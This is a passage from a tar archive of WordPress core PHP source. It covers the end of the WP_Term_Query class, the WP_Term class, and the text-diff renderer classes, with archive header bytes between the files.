used in conjunction with `$meta_key`. Default empty. * @type string $meta_type MySQL data type that the `$meta_value` will be CAST to for * comparisons. Default empty. * @type string $meta_compare Comparison operator to test the 'meta_value'. Default empty. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'taxonomy' => null, 'object_ids' => null, 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => true, 'include' => array(), 'exclude' => array(), 'exclude_tree' => array(), 'number' => '', 'offset' => '', 'fields' => 'all', 'count' => false, 'name' => '', 'slug' => '', 'term_taxonomy_id' => '', 'hierarchical' => true, 'search' => '', 'name__like' => '', 'description__like' => '', 'pad_counts' => false, 'get' => '', 'child_of' => 0, 'parent' => '', 'childless' => false, 'cache_domain' => 'core', 'update_term_meta_cache' => true, 'meta_query' => '', 'meta_key' => '', 'meta_value' => '', 'meta_type' => '', 'meta_compare' => '', ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parse arguments passed to the term query with default query parameters. * * @since 4.6.0 * * @param string|array $query WP_Term_Query arguments. See WP_Term_Query::__construct() */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $taxonomies = isset( $query['taxonomy'] ) ? (array) $query['taxonomy'] : null; /** * Filters the terms query default arguments. * * Use {@see 'get_terms_args'} to filter the passed arguments. * * @since 4.4.0 * * @param array $defaults An array of default get_terms() arguments. * @param string[] $taxonomies An array of taxonomy names. */ $this->query_var_defaults = apply_filters( 'get_terms_defaults', $this->query_var_defaults, $taxonomies ); $query = wp_parse_args( $query, $this->query_var_defaults ); $query['number'] = absint( $query['number'] ); $query['offset'] = absint( $query['offset'] ); // 'parent' overrides 'child_of'. if ( 0 < (int) $query['parent'] ) { $query['child_of'] = false; } if ( 'all' === $query['get'] ) { $query['childless'] = false; $query['child_of'] = 0; $query['hide_empty'] = 0; $query['hierarchical'] = false; $query['pad_counts'] = false; } $query['taxonomy'] = $taxonomies; $this->query_vars = $query; /** * Fires after term query vars have been parsed. * * @since 4.6.0 * * @param WP_Term_Query $this Current instance of WP_Term_Query. */ do_action( 'parse_term_query', $this ); } /** * Sets up the query and retrieves the results. * * The return type varies depending on the value passed to `$args['fields']`. See * WP_Term_Query::get_terms() for details. * * @since 4.6.0 * * @param string|array $query Array or URL query string of parameters. * @return WP_Term[]|int[]|string[]|string Array of terms, or number of terms as numeric string * when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_terms(); } /** * Retrieves the query results. * * The return type varies depending on the value passed to `$args['fields']`. * * The following will result in an array of `WP_Term` objects being returned: * * - 'all' * - 'all_with_object_id' * * The following will result in a numeric string being returned: * * - 'count' * * The following will result in an array of text strings being returned: * * - 'id=>name' * - 'id=>slug' * - 'names' * - 'slugs' * * The following will result in an array of numeric strings being returned: * * - 'id=>parent' * * The following will result in an array of integers being returned: * * - 'ids' * - 'tt_ids' * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return WP_Term[]|int[]|string[]|string Array of terms, or number of terms as numeric string * when 'count' is passed as a query var. */ public function get_terms() { global $wpdb; $this->parse_query( $this->query_vars ); $args = &$this->query_vars; // Set up meta_query so it's available to 'pre_get_terms'. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $args ); /** * Fires before terms are retrieved. * * @since 4.6.0 * * @param WP_Term_Query $this Current instance of WP_Term_Query (passed by reference). */ do_action_ref_array( 'pre_get_terms', array( &$this ) ); $taxonomies = (array) $args['taxonomy']; // Save queries by not crawling the tree in the case of multiple taxes or a flat tax. $has_hierarchical_tax = false; if ( $taxonomies ) { foreach ( $taxonomies as $_tax ) { if ( is_taxonomy_hierarchical( $_tax ) ) { $has_hierarchical_tax = true; } } } else { // When no taxonomies are provided, assume we have to descend the tree. $has_hierarchical_tax = true; } if ( ! $has_hierarchical_tax ) { $args['hierarchical'] = false; $args['pad_counts'] = false; } // 'parent' overrides 'child_of'. if ( 0 < (int) $args['parent'] ) { $args['child_of'] = false; } if ( 'all' === $args['get'] ) { $args['childless'] = false; $args['child_of'] = 0; $args['hide_empty'] = 0; $args['hierarchical'] = false; $args['pad_counts'] = false; } /** * Filters the terms query arguments. * * @since 3.1.0 * * @param array $args An array of get_terms() arguments. * @param string[] $taxonomies An array of taxonomy names. */ $args = apply_filters( 'get_terms_args', $args, $taxonomies ); // Avoid the query if the queried parent/child_of term has no descendants. $child_of = $args['child_of']; $parent = $args['parent']; if ( $child_of ) { $_parent = $child_of; } elseif ( $parent ) { $_parent = $parent; } else { $_parent = false; } if ( $_parent ) { $in_hierarchy = false; foreach ( $taxonomies as $_tax ) { $hierarchy = _get_term_hierarchy( $_tax ); if ( isset( $hierarchy[ $_parent ] ) ) { $in_hierarchy = true; } } if ( ! $in_hierarchy ) { if ( 'count' === $args['fields'] ) { return 0; } else { $this->terms = array(); return $this->terms; } } } // 'term_order' is a legal sort order only when joining the relationship table. $_orderby = $this->query_vars['orderby']; if ( 'term_order' === $_orderby && empty( $this->query_vars['object_ids'] ) ) { $_orderby = 'term_id'; } $orderby = $this->parse_orderby( $_orderby ); if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $order = $this->parse_order( $this->query_vars['order'] ); if ( $taxonomies ) { $this->sql_clauses['where']['taxonomy'] = "tt.taxonomy IN ('" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "')"; } $exclude = $args['exclude']; $exclude_tree = $args['exclude_tree']; $include = $args['include']; $inclusions = ''; if ( ! empty( $include ) ) { $exclude = ''; $exclude_tree = ''; $inclusions = implode( ',', wp_parse_id_list( $include ) ); } if ( ! empty( $inclusions ) ) { $this->sql_clauses['where']['inclusions'] = 't.term_id IN ( ' . $inclusions . ' )'; } $exclusions = array(); if ( ! empty( $exclude_tree ) ) { $exclude_tree = wp_parse_id_list( $exclude_tree ); $excluded_children = $exclude_tree; foreach ( $exclude_tree as $extrunk ) { $excluded_children = array_merge( $excluded_children, (array) get_terms( array( 'taxonomy' => reset( $taxonomies ), 'child_of' => (int) $extrunk, 'fields' => 'ids', 'hide_empty' => 0, ) ) ); } $exclusions = array_merge( $excluded_children, $exclusions ); } if ( ! empty( $exclude ) ) { $exclusions = array_merge( wp_parse_id_list( $exclude ), $exclusions ); } // 'childless' terms are those without an entry in the flattened term hierarchy. $childless = (bool) $args['childless']; if ( $childless ) { foreach ( $taxonomies as $_tax ) { $term_hierarchy = _get_term_hierarchy( $_tax ); $exclusions = array_merge( array_keys( $term_hierarchy ), $exclusions ); } } if ( ! empty( $exclusions ) ) { $exclusions = 't.term_id NOT IN (' . implode( ',', array_map( 'intval', $exclusions ) ) . ')'; } else { $exclusions = ''; } /** * Filters the terms to exclude from the terms query. * * @since 2.3.0 * * @param string $exclusions `NOT IN` clause of the terms query. * @param array $args An array of terms query arguments. * @param string[] $taxonomies An array of taxonomy names. */ $exclusions = apply_filters( 'list_terms_exclusions', $exclusions, $args, $taxonomies ); if ( ! empty( $exclusions ) ) { // Must do string manipulation here for backward compatibility with filter. $this->sql_clauses['where']['exclusions'] = preg_replace( '/^\s*AND\s*/', '', $exclusions ); } if ( ( ! empty( $args['name'] ) ) || ( is_string( $args['name'] ) && 0 !== strlen( $args['name'] ) ) ) { $names = (array) $args['name']; foreach ( $names as &$_name ) { // `sanitize_term_field()` returns slashed data. $_name = stripslashes( sanitize_term_field( 'name', $_name, 0, reset( $taxonomies ), 'db' ) ); } $this->sql_clauses['where']['name'] = "t.name IN ('" . implode( "', '", array_map( 'esc_sql', $names ) ) . "')"; } if ( ( ! empty( $args['slug'] ) ) || ( is_string( $args['slug'] ) && 0 !== strlen( $args['slug'] ) ) ) { if ( is_array( $args['slug'] ) ) { $slug = array_map( 'sanitize_title', $args['slug'] ); $this->sql_clauses['where']['slug'] = "t.slug IN ('" . implode( "', '", $slug ) . "')"; } else { $slug = sanitize_title( $args['slug'] ); $this->sql_clauses['where']['slug'] = "t.slug = '$slug'"; } } if ( ! empty( $args['term_taxonomy_id'] ) ) { if ( is_array( $args['term_taxonomy_id'] ) ) { $tt_ids = implode( ',', array_map( 'intval', $args['term_taxonomy_id'] ) ); $this->sql_clauses['where']['term_taxonomy_id'] = "tt.term_taxonomy_id IN ({$tt_ids})"; } else { $this->sql_clauses['where']['term_taxonomy_id'] = $wpdb->prepare( 'tt.term_taxonomy_id = %d', $args['term_taxonomy_id'] ); } } if ( ! empty( $args['name__like'] ) ) { $this->sql_clauses['where']['name__like'] = $wpdb->prepare( 't.name LIKE %s', '%' . $wpdb->esc_like( $args['name__like'] ) . '%' ); } if ( ! empty( $args['description__like'] ) ) { $this->sql_clauses['where']['description__like'] = $wpdb->prepare( 'tt.description LIKE %s', '%' . $wpdb->esc_like( $args['description__like'] ) . '%' ); } if ( ! empty( $args['object_ids'] ) ) { $object_ids = $args['object_ids']; if ( ! is_array( $object_ids ) ) { $object_ids = array( $object_ids ); } $object_ids = implode( ', ', array_map( 'intval', $object_ids ) ); $this->sql_clauses['where']['object_ids'] = "tr.object_id IN ($object_ids)"; } /* * When querying for object relationships, the 'count > 0' check * added by 'hide_empty' is superfluous. */ if ( ! empty( $args['object_ids'] ) ) { $args['hide_empty'] = false; } if ( '' !== $parent ) { $parent = (int) $parent; $this->sql_clauses['where']['parent'] = "tt.parent = '$parent'"; } $hierarchical = $args['hierarchical']; if ( 'count' === $args['fields'] ) { $hierarchical = false; } if ( $args['hide_empty'] && ! $hierarchical ) { $this->sql_clauses['where']['count'] = 'tt.count > 0'; } $number = $args['number']; $offset = $args['offset']; // Don't limit the query results when we have to descend the family tree. if ( $number && ! $hierarchical && ! $child_of && '' === $parent ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . $number; } } else { $limits = ''; } if ( ! empty( $args['search'] ) ) { $this->sql_clauses['where']['search'] = $this->get_search_sql( $args['search'] ); } // Meta query support. $join = ''; $distinct = ''; // Reparse meta_query query_vars, in case they were modified in a 'pre_get_terms' callback. $this->meta_query->parse_query_vars( $this->query_vars ); $mq_sql = $this->meta_query->get_sql( 'term', 't', 'term_id' ); $meta_clauses = $this->meta_query->get_clauses(); if ( ! empty( $meta_clauses ) ) { $join .= $mq_sql['join']; $this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $mq_sql['where'] ); $distinct .= 'DISTINCT'; } $selects = array(); switch ( $args['fields'] ) { case 'all': case 'all_with_object_id': case 'tt_ids': case 'slugs': $selects = array( 't.*', 'tt.*' ); if ( 'all_with_object_id' === $args['fields'] && ! empty( $args['object_ids'] ) ) { $selects[] = 'tr.object_id'; } break; case 'ids': case 'id=>parent': $selects = array( 't.term_id', 'tt.parent', 'tt.count', 'tt.taxonomy' ); break; case 'names': $selects = array( 't.term_id', 'tt.parent', 'tt.count', 't.name', 'tt.taxonomy' ); break; case 'count': $orderby = ''; $order = ''; $selects = array( 'COUNT(*)' ); break; case 'id=>name': $selects = array( 't.term_id', 't.name', 'tt.parent', 'tt.count', 'tt.taxonomy' ); break; case 'id=>slug': $selects = array( 't.term_id', 't.slug', 'tt.parent', 'tt.count', 'tt.taxonomy' ); break; } $_fields = $args['fields']; /** * Filters the fields to select in the terms query. * * Field lists modified using this filter will only modify the term fields returned * by the function when the `$fields` parameter set to 'count' or 'all'. In all other * cases, the term fields in the results array will be determined by the `$fields` * parameter alone. * * Use of this filter can result in unpredictable behavior, and is not recommended. * * @since 2.8.0 * * @param string[] $selects An array of fields to select for the terms query. * @param array $args An array of term query arguments. * @param string[] $taxonomies An array of taxonomy names. */ $fields = implode( ', ', apply_filters( 'get_terms_fields', $selects, $args, $taxonomies ) ); $join .= " INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id"; if ( ! empty( $this->query_vars['object_ids'] ) ) { $join .= " INNER JOIN {$wpdb->term_relationships} AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id"; } $where = implode( ' AND ', $this->sql_clauses['where'] ); /** * Filters the terms query SQL clauses. * * @since 3.1.0 * * @param string[] $pieces Array of query SQL clauses. * @param string[] $taxonomies An array of taxonomy names. * @param array $args An array of term query arguments. */ $clauses = apply_filters( 'terms_clauses', compact( 'fields', 'join', 'where', 'distinct', 'orderby', 'order', 'limits' ), $taxonomies, $args ); $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $distinct = isset( $clauses['distinct'] ) ? $clauses['distinct'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $order = isset( $clauses['order'] ) ? $clauses['order'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; if ( $where ) { $where = "WHERE $where"; } $this->sql_clauses['select'] = "SELECT $distinct $fields"; $this->sql_clauses['from'] = "FROM $wpdb->terms AS t $join"; $this->sql_clauses['orderby'] = $orderby ? "$orderby $order" : ''; $this->sql_clauses['limits'] = $limits; $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; $this->terms = null; /** * Filters the terms array before the query takes place. * * Return a non-null value to bypass WordPress' default term queries. * * @since 5.3.0 * * @param array|null $terms Return an array of term data to short-circuit WP's term query, * or null to allow WP queries to run normally. * @param WP_Term_Query $query The WP_Term_Query instance, passed by reference. */ $this->terms = apply_filters_ref_array( 'terms_pre_query', array( $this->terms, &$this ) ); if ( null !== $this->terms ) { return $this->terms; } // $args can be anything. Only use the args defined in defaults to compute the key. $key = md5( serialize( wp_array_slice_assoc( $args, array_keys( $this->query_var_defaults ) ) ) . serialize( $taxonomies ) . $this->request ); $last_changed = wp_cache_get_last_changed( 'terms' ); $cache_key = "get_terms:$key:$last_changed"; $cache = wp_cache_get( $cache_key, 'terms' ); if ( false !== $cache ) { if ( 'all' === $_fields || 'all_with_object_id' === $_fields ) { $cache = $this->populate_terms( $cache ); } $this->terms = $cache; return $this->terms; } if ( 'count' === $_fields ) { $count = $wpdb->get_var( $this->request ); wp_cache_set( $cache_key, $count, 'terms' ); return $count; } $terms = $wpdb->get_results( $this->request ); if ( 'all' === $_fields || 'all_with_object_id' === $_fields ) { update_term_cache( $terms ); } // Prime termmeta cache. if ( $args['update_term_meta_cache'] ) { $term_ids = wp_list_pluck( $terms, 'term_id' ); update_termmeta_cache( $term_ids ); } if ( empty( $terms ) ) { wp_cache_add( $cache_key, array(), 'terms', DAY_IN_SECONDS ); return array(); } if ( $child_of ) { foreach ( $taxonomies as $_tax ) { $children = _get_term_hierarchy( $_tax ); if ( ! empty( $children ) ) { $terms = _get_term_children( $child_of, $terms, $_tax ); } } } // Update term counts to include children. if ( $args['pad_counts'] && 'all' === $_fields ) { foreach ( $taxonomies as $_tax ) { _pad_term_counts( $terms, $_tax ); } } // Make sure we show empty categories that have children. if ( $hierarchical && $args['hide_empty'] && is_array( $terms ) ) { foreach ( $terms as $k => $term ) { if ( ! $term->count ) { $children = get_term_children( $term->term_id, $term->taxonomy ); if ( is_array( $children ) ) { foreach ( $children as $child_id ) { $child = get_term( $child_id, $term->taxonomy ); if ( $child->count ) { continue 2; } } } // It really is empty. unset( $terms[ $k ] ); } } } /* * When querying for terms connected to objects, we may get * duplicate results. The duplicates should be preserved if * `$fields` is 'all_with_object_id', but should otherwise be * removed. */ if ( ! empty( $args['object_ids'] ) && 'all_with_object_id' !== $_fields ) { $_tt_ids = array(); $_terms = array(); foreach ( $terms as $term ) { if ( isset( $_tt_ids[ $term->term_id ] ) ) { continue; } $_tt_ids[ $term->term_id ] = 1; $_terms[] = $term; } $terms = $_terms; } $_terms = array(); if ( 'id=>parent' === $_fields ) { foreach ( $terms as $term ) { $_terms[ $term->term_id ] = $term->parent; } } elseif ( 'ids' === $_fields ) { foreach ( $terms as $term ) { $_terms[] = (int) $term->term_id; } } elseif ( 'tt_ids' === $_fields ) { foreach ( $terms as $term ) { $_terms[] = (int) $term->term_taxonomy_id; } } elseif ( 'names' === $_fields ) { foreach ( $terms as $term ) { $_terms[] = $term->name; } } elseif ( 'slugs' === $_fields ) { foreach ( $terms as $term ) { $_terms[] = $term->slug; } } elseif ( 'id=>name' === $_fields ) { foreach ( $terms as $term ) { $_terms[ $term->term_id ] = $term->name; } } elseif ( 'id=>slug' === $_fields ) { foreach ( $terms as $term ) { $_terms[ $term->term_id ] = $term->slug; } } if ( ! empty( $_terms ) ) { $terms = $_terms; } // Hierarchical queries are not limited, so 'offset' and 'number' must be handled now. if ( $hierarchical && $number && is_array( $terms ) ) { if ( $offset >= count( $terms ) ) { $terms = array(); } else { $terms = array_slice( $terms, $offset, $number, true ); } } wp_cache_add( $cache_key, $terms, 'terms', DAY_IN_SECONDS ); if ( 'all' === $_fields || 'all_with_object_id' === $_fields ) { $terms = $this->populate_terms( $terms ); } $this->terms = $terms; return $this->terms; } /** * Parse and sanitize 'orderby' keys passed to the term query. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby_raw Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby_raw ) { $_orderby = strtolower( $orderby_raw ); $maybe_orderby_meta = false; if ( in_array( $_orderby, array( 'term_id', 'name', 'slug', 'term_group' ), true ) ) { $orderby = "t.$_orderby"; } elseif ( in_array( $_orderby, array( 'count', 'parent', 'taxonomy', 'term_taxonomy_id', 'description' ), true ) ) { $orderby = "tt.$_orderby"; } elseif ( 'term_order' === $_orderby ) { $orderby = 'tr.term_order'; } elseif ( 'include' === $_orderby && ! empty( $this->query_vars['include'] ) ) { $include = implode( ',', wp_parse_id_list( $this->query_vars['include'] ) ); $orderby = "FIELD( t.term_id, $include )"; } elseif ( 'slug__in' === $_orderby && ! empty( $this->query_vars['slug'] ) && is_array( $this->query_vars['slug'] ) ) { $slugs = implode( "', '", array_map( 'sanitize_title_for_query', $this->query_vars['slug'] ) ); $orderby = "FIELD( t.slug, '" . $slugs . "')"; } elseif ( 'none' === $_orderby ) { $orderby = ''; } elseif ( empty( $_orderby ) || 'id' === $_orderby || 'term_id' === $_orderby ) { $orderby = 't.term_id'; } else { $orderby = 't.name'; // This may be a value of orderby related to meta. $maybe_orderby_meta = true; } /** * Filters the ORDERBY clause of the terms query. * * @since 2.8.0 * * @param string $orderby `ORDERBY` clause of the terms query. * @param array $args An array of term query arguments. * @param string[] $taxonomies An array of taxonomy names. */ $orderby = apply_filters( 'get_terms_orderby', $orderby, $this->query_vars, $this->query_vars['taxonomy'] ); // Run after the 'get_terms_orderby' filter for backward compatibility. if ( $maybe_orderby_meta ) { $maybe_orderby_meta = $this->parse_orderby_meta( $_orderby ); if ( $maybe_orderby_meta ) { $orderby = $maybe_orderby_meta; } } return $orderby; } /** * Generate the ORDER BY clause for an 'orderby' param that is potentially related to a meta query. * * @since 4.6.0 * * @param string $orderby_raw Raw 'orderby' value passed to WP_Term_Query. * @return string ORDER BY clause. */ protected function parse_orderby_meta( $orderby_raw ) { $orderby = ''; // Tell the meta query to generate its SQL, so we have access to table aliases. $this->meta_query->get_sql( 'term', 't', 'term_id' ); $meta_clauses = $this->meta_query->get_clauses(); if ( ! $meta_clauses || ! $orderby_raw ) { return $orderby; } $allowed_keys = array(); $primary_meta_key = null; $primary_meta_query = reset( $meta_clauses ); if ( ! empty( $primary_meta_query['key'] ) ) { $primary_meta_key = $primary_meta_query['key']; $allowed_keys[] = $primary_meta_key; } $allowed_keys[] = 'meta_value'; $allowed_keys[] = 'meta_value_num'; $allowed_keys = array_merge( $allowed_keys, array_keys( $meta_clauses ) ); if ( ! in_array( $orderby_raw, $allowed_keys, true ) ) { return $orderby; } switch ( $orderby_raw ) { case $primary_meta_key: case 'meta_value': if ( ! empty( $primary_meta_query['type'] ) ) { $orderby = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})"; } else { $orderby = "{$primary_meta_query['alias']}.meta_value"; } break; case 'meta_value_num': $orderby = "{$primary_meta_query['alias']}.meta_value+0"; break; default: if ( array_key_exists( $orderby_raw, $meta_clauses ) ) { // $orderby corresponds to a meta_query clause. $meta_clause = $meta_clauses[ $orderby_raw ]; $orderby = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})"; } break; } return $orderby; } /** * Parse an 'order' query variable and cast it to ASC or DESC as necessary. * * @since 4.6.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } /** * Used internally to generate a SQL string related to the 'search' parameter. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string * @return string */ protected function get_search_sql( $string ) { global $wpdb; $like = '%' . $wpdb->esc_like( $string ) . '%'; return $wpdb->prepare( '((t.name LIKE %s) OR (t.slug LIKE %s))', $like, $like ); } /** * Creates an array of term objects from an array of term IDs. * * Also discards invalid term objects. * * @since 4.9.8 * * @param array $term_ids Term IDs. * @return array */ protected function populate_terms( $term_ids ) { $terms = array(); if ( ! is_array( $term_ids ) ) { return $terms; } foreach ( $term_ids as $key => $term_id ) { $term = get_term( $term_id ); if ( $term instanceof WP_Term ) { $terms[ $key ] = $term; } } return $terms; } } ���������������������������������������������������������������������������������������������������������������class-wp-term.php�����������������������������������������������������������������������������������0000644�����������������00000012230�15120262030�0007740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: WP_Term class * * @package WordPress * @subpackage Taxonomy * @since 4.4.0 */ /** * Core class used to implement the WP_Term object. * * @since 4.4.0 * * @property-read object $data Sanitized term data. */ final class WP_Term { /** * Term ID. * * @since 4.4.0 * @var int */ public $term_id; /** * The term's name. * * @since 4.4.0 * @var string */ public $name = ''; /** * The term's slug. * * @since 4.4.0 * @var string */ public $slug = ''; /** * The term's term_group. * * @since 4.4.0 * @var int */ public $term_group = ''; /** * Term Taxonomy ID. * * @since 4.4.0 * @var int */ public $term_taxonomy_id = 0; /** * The term's taxonomy name. * * @since 4.4.0 * @var string */ public $taxonomy = ''; /** * The term's description. * * @since 4.4.0 * @var string */ public $description = ''; /** * ID of a term's parent term. * * @since 4.4.0 * @var int */ public $parent = 0; /** * Cached object count for this term. * * @since 4.4.0 * @var int */ public $count = 0; /** * Stores the term object's sanitization level. * * Does not correspond to a database field. * * @since 4.4.0 * @var string */ public $filter = 'raw'; /** * Retrieve WP_Term instance. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id Term ID. * @param string $taxonomy Optional. Limit matched terms to those matching `$taxonomy`. Only used for * disambiguating potentially shared terms. * @return WP_Term|WP_Error|false Term object, if found. WP_Error if `$term_id` is shared between taxonomies and * there's insufficient data to distinguish which term is intended. * False for other failures. */ public static function get_instance( $term_id, $taxonomy = null ) { global $wpdb; $term_id = (int) $term_id; if ( ! $term_id ) { return false; } $_term = wp_cache_get( $term_id, 'terms' ); // If there isn't a cached version, hit the database. if ( ! $_term || ( $taxonomy && $taxonomy !== $_term->taxonomy ) ) { // Any term found in the cache is not a match, so don't use it. $_term = false; // Grab all matching terms, in case any are shared between taxonomies. $terms = $wpdb->get_results( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id = %d", $term_id ) ); if ( ! $terms ) { return false; } // If a taxonomy was specified, find a match. if ( $taxonomy ) { foreach ( $terms as $match ) { if ( $taxonomy === $match->taxonomy ) { $_term = $match; break; } } // If only one match was found, it's the one we want. } elseif ( 1 === count( $terms ) ) { $_term = reset( $terms ); // Otherwise, the term must be shared between taxonomies. } else { // If the term is shared only with invalid taxonomies, return the one valid term. foreach ( $terms as $t ) { if ( ! taxonomy_exists( $t->taxonomy ) ) { continue; } // Only hit if we've already identified a term in a valid taxonomy. if ( $_term ) { return new WP_Error( 'ambiguous_term_id', __( 'Term ID is shared between multiple taxonomies' ), $term_id ); } $_term = $t; } } if ( ! $_term ) { return false; } // Don't return terms from invalid taxonomies. if ( ! taxonomy_exists( $_term->taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $_term = sanitize_term( $_term, $_term->taxonomy, 'raw' ); // Don't cache terms that are shared between taxonomies. if ( 1 === count( $terms ) ) { wp_cache_add( $term_id, $_term, 'terms' ); } } $term_obj = new WP_Term( $_term ); $term_obj->filter( $term_obj->filter ); return $term_obj; } /** * Constructor. * * @since 4.4.0 * * @param WP_Term|object $term Term object. */ public function __construct( $term ) { foreach ( get_object_vars( $term ) as $key => $value ) { $this->$key = $value; } } /** * Sanitizes term fields, according to the filter type provided. * * @since 4.4.0 * * @param string $filter Filter context. Accepts 'edit', 'db', 'display', 'attribute', 'js', 'rss', or 'raw'. */ public function filter( $filter ) { sanitize_term( $this, $this->taxonomy, $filter ); } /** * Converts an object to array. * * @since 4.4.0 * * @return array Object as array. */ public function to_array() { return get_object_vars( $this ); } /** * Getter. * * @since 4.4.0 * * @param string $key Property to get. * @return mixed Property value. */ public function __get( $key ) { switch ( $key ) { case 'data': $data = new stdClass(); $columns = array( 'term_id', 'name', 'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description', 'parent', 'count' ); foreach ( $columns as $column ) { $data->{$column} = isset( $this->{$column} ) ? $this->{$column} : null; } return sanitize_term( $data, $data->taxonomy, 'raw' ); } } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-text-diff-renderer-inline.php��������������������������������������������������������������0000644�����������������00000001314�15120262030�0013744 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Diff API: WP_Text_Diff_Renderer_inline class * * @package WordPress * @subpackage Diff * @since 4.7.0 */ /** * Better word splitting than the PEAR package provides. * * @since 2.6.0 * @uses Text_Diff_Renderer_inline Extends */ class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline { /** * @ignore * @since 2.6.0 * * @param string $string * @param string $newlineEscape * @return string */ public function _splitOnWords( $string, $newlineEscape = "\n" ) { $string = str_replace( "\0", '', $string ); $words = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE ); $words = str_replace( "\n", $newlineEscape, $words ); return $words; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-text-diff-renderer-table.php���������������������������������������������������������������0000644�����������������00000040633�15120262030�0013564 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Diff API: WP_Text_Diff_Renderer_Table class * * @package WordPress * @subpackage Diff * @since 4.7.0 */ /** * Table renderer to display the diff lines. * * @since 2.6.0 * @uses Text_Diff_Renderer Extends */ class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer { /** * @see Text_Diff_Renderer::_leading_context_lines * @var int * @since 2.6.0 */ public $_leading_context_lines = 10000; /** * @see Text_Diff_Renderer::_trailing_context_lines * @var int * @since 2.6.0 */ public $_trailing_context_lines = 10000; /** * Threshold for when a diff should be saved or omitted. * * @var float * @since 2.6.0 */ protected $_diff_threshold = 0.6; /** * Inline display helper object name. * * @var string * @since 2.6.0 */ protected $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline'; /** * Should we show the split view or not * * @var string * @since 3.6.0 */ protected $_show_split_view = true; protected $compat_fields = array( '_show_split_view', 'inline_diff_renderer', '_diff_threshold' ); /** * Caches the output of count_chars() in compute_string_distance() * * @var array * @since 5.0.0 */ protected $count_cache = array(); /** * Caches the difference calculation in compute_string_distance() * * @var array * @since 5.0.0 */ protected $difference_cache = array(); /** * Constructor - Call parent constructor with params array. * * This will set class properties based on the key value pairs in the array. * * @since 2.6.0 * * @param array $params */ public function __construct( $params = array() ) { parent::__construct( $params ); if ( isset( $params['show_split_view'] ) ) { $this->_show_split_view = $params['show_split_view']; } } /** * @ignore * * @param string $header * @return string */ public function _startBlock( $header ) { return ''; } /** * @ignore * * @param array $lines * @param string $prefix */ public function _lines( $lines, $prefix = ' ' ) { } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function addedLine( $line ) { return "<td class='diff-addedline'><span aria-hidden='true' class='dashicons dashicons-plus'></span><span class='screen-reader-text'>" . __( 'Added:' ) . " </span>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function deletedLine( $line ) { return "<td class='diff-deletedline'><span aria-hidden='true' class='dashicons dashicons-minus'></span><span class='screen-reader-text'>" . __( 'Deleted:' ) . " </span>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function contextLine( $line ) { return "<td class='diff-context'><span class='screen-reader-text'>" . __( 'Unchanged:' ) . " </span>{$line}</td>"; } /** * @ignore * * @return string */ public function emptyLine() { return '<td> </td>'; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _added( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** * Contextually filters a diffed line. * * Filters TextDiff processing of diffed line. By default, diffs are processed with * htmlspecialchars. Use this filter to remove or change the processing. Passes a context * indicating if the line is added, deleted or unchanged. * * @since 4.1.0 * * @param string $processed_line The processed diffed line. * @param string $line The unprocessed diffed line. * @param string $context The line context. Values are 'added', 'deleted' or 'unchanged'. */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' ); 